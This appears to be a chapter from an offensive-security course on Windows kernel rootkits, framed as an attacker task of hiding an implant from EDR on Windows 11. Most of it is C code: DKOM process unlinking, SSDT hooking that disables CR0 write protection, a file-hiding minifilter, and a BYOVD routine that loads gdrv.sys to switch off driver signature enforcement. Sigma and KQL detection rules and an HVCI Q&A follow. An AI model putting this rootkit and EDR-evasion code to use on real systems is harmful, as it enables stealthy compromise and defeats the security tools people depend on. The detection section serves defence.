Kernel-Mode Rootkits
Kernel-mode rootkits operate at Ring 0 — the same privilege level as the OS kernel — giving them absolute authority over what the OS and every usermode process can see and do. They hide processes, intercept filesystem I/O, silently drop network connections, and disable security products. Modern Windows enforces Kernel Patch Protection (KPP/PatchGuard) and Driver Signature Enforcement (DSE), but these are bypassed via BYOVD (Bring Your Own Vulnerable Driver) — a technique used in Lazarus, BlackMatter, and BlackByte campaigns. Detection requires hypervisor-level visibility, firmware integrity checks, or out-of-band memory forensics.
You have SYSTEM privileges on a target Windows 11 endpoint. EDR is running as a PPL (Protected Process Light) and cannot be killed from usermode. Your goal: load a kernel driver that hides your implant's process from the process list (DKOM), blocks the EDR minifilter driver's file-system callbacks from seeing your payload writes, and survives a reboot via a signed driver service.
Kernel-Mode Architecture
DKOM — Direct Kernel Object Manipulation
// DKOM process hiding: remove the EPROCESS structure from the doubly-linked list
// that NtQuerySystemInformation / EnumProcesses walks.
// After removal, tools like Task Manager, Process Explorer, and EDR process enumeration
// all miss the process. The process is still running; threads still execute.
// Note: PID still visible in some kernel structures; port scans can reveal network activity.
// From kernel driver context (Ring 0):
// EPROCESS.ActiveProcessLinks is at offset that varies by Windows version.
// Common offsets (obtain dynamically from PDB or hardcode per OS version):
// Win10 1903+: EPROCESS.ActiveProcessLinks = 0x448
// Win11 22H2: EPROCESS.ActiveProcessLinks = 0x448
#define EPROCESS_LINKS_OFFSET 0x448
VOID HideProcess(PEPROCESS targetProc) {
PLIST_ENTRY pList = (PLIST_ENTRY)((ULONG_PTR)targetProc + EPROCESS_LINKS_OFFSET);
// Unlink from doubly-linked list:
// prev->Flink = this->Flink
// next->Blink = this->Blink
PLIST_ENTRY prev = pList->Blink;
PLIST_ENTRY next = pList->Flink;
prev->Flink = next;
next->Blink = prev;
// Point entry to itself (avoids crash if something tries to walk it)
pList->Flink = pList;
pList->Blink = pList;
}
// Usage from driver: PsLookupProcessByProcessId(pid, &pEProc); HideProcess(pEProc);
SSDT Hooking (pre-PatchGuard context)
// SSDT (System Service Descriptor Table) maps syscall numbers to kernel function pointers.
// Hooking: replace pointer at SSDT[syscall_num] with pointer to hook function.
// PatchGuard monitors SSDT integrity and BSODs (0x109 CRITICAL_STRUCTURE_CORRUPTION) if patched.
// Still relevant for: older OS, custom hypervisors, PatchGuard bypass techniques.
// Find SSDT base: KeServiceDescriptorTable exported symbol
extern SYSTEM_SERVICE_TABLE* KeServiceDescriptorTable;
VOID SsdtHook_NtQuerySystemInfo(ULONG sysCallNum) {
// Disable write protection (CR0.WP bit)
KIRQL irql = KeRaiseIrqlToDpcLevel();
__writecr0(__readcr0() & ~0x10000);
// Save original and install hook
PVOID orig = (PVOID)(KeServiceDescriptorTable->ServiceTable[sysCallNum]);
KeServiceDescriptorTable->ServiceTable[sysCallNum] =
(ULONG_PTR)HookNtQuerySystemInformation;
// Re-enable write protection
__writecr0(__readcr0() | 0x10000);
KeLowerIrql(irql);
}
// Hook function: call original, then filter out hidden process from results
NTSTATUS HookNtQuerySystemInformation(
SYSTEM_INFORMATION_CLASS sic, PVOID buf, ULONG len, PULONG ret)
{
NTSTATUS status = OrigNtQuerySystemInformation(sic, buf, len, ret);
if (NT_SUCCESS(status) && sic == SystemProcessInformation)
FilterProcessList(buf); // remove hidden PID from linked list in output
return status;
}
Minifilter Driver for Filesystem Hiding
// Windows filesystem minifilter: intercept file I/O at the kernel filter manager.
// Attacker minifilter can:
// - Hide files from directory enumeration (IRP_MJ_DIRECTORY_CONTROL)
// - Block reads of payload files (IRP_MJ_READ)
// - Intercept EDR minifilter callbacks to suppress detections
// - Pre-completion callback: modify query results before returning to caller
CONST FLT_OPERATION_REGISTRATION Callbacks[] = {
{ IRP_MJ_DIRECTORY_CONTROL, 0, NULL, DirCtrlPostOp },
{ IRP_MJ_OPERATION_END }
};
// Post-operation callback for directory control (enumeration)
FLT_POSTOP_CALLBACK_STATUS DirCtrlPostOp(
PFLT_CALLBACK_DATA Data,
PCFLT_RELATED_OBJECTS FltObjects,
PVOID CompletionContext,
FLT_POST_OPERATION_FLAGS Flags)
{
if (Data->Iopb->MinorFunction != IRP_MN_QUERY_DIRECTORY)
return FLT_POSTOP_FINISHED_PROCESSING;
// Walk directory result buffer and remove entries matching hidden filenames
PFILE_DIRECTORY_INFORMATION pEntry =
(PFILE_DIRECTORY_INFORMATION)Data->Iopb->Parameters.DirectoryControl
.QueryDirectory.DirectoryBuffer;
while (pEntry) {
if (IsHiddenFile(pEntry->FileName, pEntry->FileNameLength)) {
// Unlink this entry from the results buffer
if (pEntry->NextEntryOffset == 0) {
// Last entry: zero out
RtlZeroMemory(pEntry, sizeof(*pEntry));
} else {
// Splice: previous entry's NextEntryOffset skips this entry
SpliceDirectoryEntry(pEntry);
}
}
if (!pEntry->NextEntryOffset) break;
pEntry = (PFILE_DIRECTORY_INFORMATION)((BYTE*)pEntry + pEntry->NextEntryOffset);
}
return FLT_POSTOP_FINISHED_PROCESSING;
}
BYOVD — Bring Your Own Vulnerable Driver
// BYOVD: use gdrv.sys (GIGABYTE) to write to arbitrary kernel address.
// IOCTL 0xC3502808 with input: { address, value } → writes 8 bytes to kernel address.
// Use to clear g_CiEnabled in ci.dll (enables loading unsigned drivers).
#include <windows.h>
#define GDRV_DEVICE L"\\\\.\\GIO"
#define IOCTL_WRITE 0xC3502808
typedef struct { UINT64 addr; UINT64 value; } WRITE_PRIM;
BOOL KernelWrite8(HANDLE hDev, UINT64 addr, UINT64 val) {
WRITE_PRIM p = { addr, val };
DWORD ret;
return DeviceIoControl(hDev, IOCTL_WRITE,
&p, sizeof(p), NULL, 0, &ret, NULL);
}
VOID DisableDSE() {
// Drop and load gdrv.sys (requires SYSTEM + driver in same dir)
SC_HANDLE hSCM = OpenSCManagerW(NULL, NULL, SC_MANAGER_ALL_ACCESS);
SC_HANDLE hSvc = CreateServiceW(hSCM, L"GIO", L"GIO", SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE,
L"C:\\Windows\\Temp\\gdrv.sys", NULL,NULL,NULL,NULL,NULL);
StartServiceW(hSvc, 0, NULL);
HANDLE hDev = CreateFileW(GDRV_DEVICE, GENERIC_READ|GENERIC_WRITE,
0, NULL, OPEN_EXISTING, 0, NULL);
// Locate g_CiEnabled address in ci.dll (requires kernel symbol resolution)
UINT64 ciBase = GetKernelModuleBase(L"ci.dll");
UINT64 gCiEnabled = ciBase + GetExportOffset("ci.dll", "g_CiEnabled");
// Write 0 to disable signature enforcement
KernelWrite8(hDev, gCiEnabled, 0);
CloseHandle(hDev);
}
Detection Engineering
title: Vulnerable Driver Loaded — Known BYOVD Hash
logsource:
product: windows
category: driver_load
detection:
selection:
EventID: 6 # Sysmon DriverLoad
Hashes|contains:
- 'SHA256=31f4cfb4c71da44120752721103a16512444c13c2ac2d857a7e6f13cb679b427' # gdrv.sys
- 'SHA256=b2f955b3e6107f831ebe67997f8586d4fe9f3e98' # RTCore64.sys
condition: selection
level: critical
tags: [attack.defense_evasion, T1068, T1543.003]
title: Kernel Driver Loaded from Temp or User Directory
logsource:
product: windows
category: driver_load
detection:
selection:
EventID: 6
ImageLoaded|contains:
- '\Temp\'
- '\AppData\'
- '\Users\Public\'
condition: selection
level: high
-- MDE KQL: driver load from suspicious path
DeviceDriverEvents
| where Timestamp > ago(1d)
| where ActionType == "DriverLoad"
| where FolderPath has_any (@"\Temp\",@"\AppData\",@"\Users\Public\")
or Signer == "" // unsigned driver
| project Timestamp, DeviceName, FileName, FolderPath, Signer, SHA256
-- MDE KQL: BYOVD IOCTL pattern — DeviceIoControl to known device names
DeviceEvents
| where ActionType == "DriverLoad"
or ActionType == "KernelDriverLoad"
| project Timestamp, DeviceName, InitiatingProcessFileName,
AdditionalFields
| where AdditionalFields has_any ("GIO","RTCore64","dbutil","cpuz")
-- Defender KQL: HVCI/VBS driver block
DeviceEvents
| where ActionType == "SecurityPolicyViolation"
| where AdditionalFields has "HVCI"
| project Timestamp, DeviceName, AdditionalFields
Q&A
HVCI (Hypervisor-Protected Code Integrity) is enabled on modern Windows 11 systems. Why does it block BYOVD attacks that successfully bypass DSE, and what attack paths remain open against HVCI-enabled targets?
HVCI uses the hypervisor (Hyper-V Level 1) to enforce that only signed code can be mapped as executable in the kernel. The mechanism: the hypervisor controls the kernel's page tables at Level 2 of the virtualized paging hierarchy (SLAT — Second Level Address Translation). The hypervisor marks any page that hasn't been cryptographically validated as signed driver code as non-executable at the hardware level — the CPU's page walker will raise a fault before the kernel can execute unsigned bytes, regardless of what the guest OS kernel (Ring 0) has written to its own page tables.
This breaks the standard BYOVD exploit path: even if the attacker uses a vulnerable driver to zero out g_CiEnabled (the kernel variable that controls DSE checking), loading and running unsigned driver code still fails. The hypervisor's SLAT enforcement is below the OS — patching ci.dll or g_CiEnabled in the guest kernel only changes what the OS checks, not what the hypervisor allows to execute. There is no g_HvciEnabled to patch; HVCI policy is enforced by the hypervisor which the attacker's kernel-level code cannot modify.
Remaining attack paths against HVCI-enabled targets: (1) Vulnerable signed driver that runs attacker code: some drivers expose APIs that execute caller-provided callbacks or DMA-like operations — the attacker's code runs inside the signed driver's context, which is allowed by HVCI. The challenge is finding a driver with this capability that is also still signed. (2) Hypervisor-level attack: a vulnerability in the hypervisor itself (Hyper-V CVEs) would grant Ring -1 access, bypassing HVCI entirely. These are extremely rare and expensive. (3) UEFI/firmware attack: compromise the UEFI firmware before HVCI initializes (ch198). (4) Social engineering HVCI off: HVCI requires enabling via GPO/MDM and can be disabled by an admin with sufficient privilege — a persistence technique that downgrades the security posture rather than exploiting it.